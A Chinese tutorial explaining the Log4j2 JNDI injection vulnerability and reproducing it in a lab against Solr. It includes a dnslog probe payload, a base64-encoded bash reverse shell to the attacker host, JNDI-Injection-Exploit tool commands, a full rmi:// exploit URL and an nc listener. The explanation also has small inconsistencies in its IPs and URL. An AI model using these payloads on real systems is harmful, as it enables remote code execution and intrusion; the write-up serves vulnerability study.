漏洞描述
什么是 log4j 和 log4j2
log4j 是 Apache 的一个开源日志库,是一个基于 Java 的日志记录框架,Log4j2 是 log4j 的后继者,其中引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI 组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。
log4j2 中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可在目标服务器上执行任意代码。
什么是 JNDI
JNDI 是 Java Naming and Directory Interface 的缩写,是 Java 中用于访问各种命名和目录服务的API(应用程序编程接口) 。
JNDI 提供了一种标准的方式来访问各种命名和目录服务,从指定的远程服务器获取并加载对象,其中常用的协议包括 RMI(远程方法调用)和 LDAP(轻量目录访问协议)。
漏洞原理
log4j2 在日志输出中,未对字符合法性进行严格的限制,执行了 JNDI 协议加载的远程恶意脚本,从而造成RCE。
详细过程
当用户输入信息时,应用程序中的 log4j2 组件会将信息记录到日志中,假设日志中含有语句${jndi:ldap:192.168.249.1:9001/poc.class},log4j2 就会去解析该信息。
通过 JNDI 的 lookup() 方法去解析 URL:ldap:192.168.249.1:9001/poc.class,解析到 ldap,就会去 192.168.61.129:9001 的 ldap 服务找名为 poc.class 的资源,如果找不到则会去 http 服务中找。
只要在 ldap 或者 http 中找到了 poc.class ,就会将资源信息返回到 JNDI 接口,进而返回给应用程序的 log4j2 组件。
而 log4j2 组件会将其下载下来,然后发现 poc.class 是一个 .class 文件,就会去执行里面的代码,从而实现注入,我们就可以通过 poc.class 实现任意命令的执行。
影响版本
2.0 ≤ Apache Log4j2 < 2.15.0-rc2
漏洞复现
首先明确攻击机和靶机,由于都是在虚拟机上,彼此之间可以通信,可以反弹 shell
攻击机(kali):192.168.52.151
靶机(centos):192.168.52.253
搭建完成后访问 8983 端口可以看到访问成功
注入点是在 /solr/admin/cores?,这里有个参数 action 可以传
使用 dnslog 平台获取一个子域名看看回显,得到的子域名是 45udt8.dnslog.cn,利用如下 payload 测试 java 版本能否回显
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.45udt8.dnslog.cn}
查看 dnslog 平台,刷新记录就能看到爆出了 java 版本,说明存在 log4j 漏洞
利用 JNDI 工具注入反弹 shell 命令
反弹 shell 命令如下,一般都需要 base 编码一下
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjE1MS8yMjMzIDA+JjE=}|{base64,-d}|{bash,-i}
在攻击机上搭建好环境,编译工具需要 java1.8 版本和 maven 工具
java 版本更换,默认 java 版本不是 1.8,按照教程更换
https://blog.csdn.net/weixin_44862511/article/details/132415494
maven 编译安装,按照教程安装
https://myon6.blog.csdn.net/article/details/136558685?spm=1001.2014.3001.5502
注入工具下载,地址如下:
https://github.com/welk1n/JNDI-Injection-Exploit
编译安装工具
cd JNDI-Injection-Exploit
mvn clean package -DskipTests
cd target
一切准备就绪,接下来就可以开始注入攻击了
利用注入命令如下
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip"
填入反弹 shell 命令和攻击机的 ip
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjE1MS8yMjMzIDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.52.151"
出现如下界面这个表示已经成功开启监听
选择对应 java 版本的 payload 路径,这里是 jdl1.8, 拼接构造完整 payload
http://192.168.52.253:8983/solr/admin/cores?action=${jndi:rmi://192.168.52.151:1099/cabkj7}
先新开一个 kali 窗口执行监听命令
nc -lvvp 2233
再传入构造好的命令执行反弹 shell
JNDI 注入工具的终端显示如下:
查看监听端口,成功反弹 shell
注意:需要将 payload 编码后用 burp 发包,不然可能会有一些问题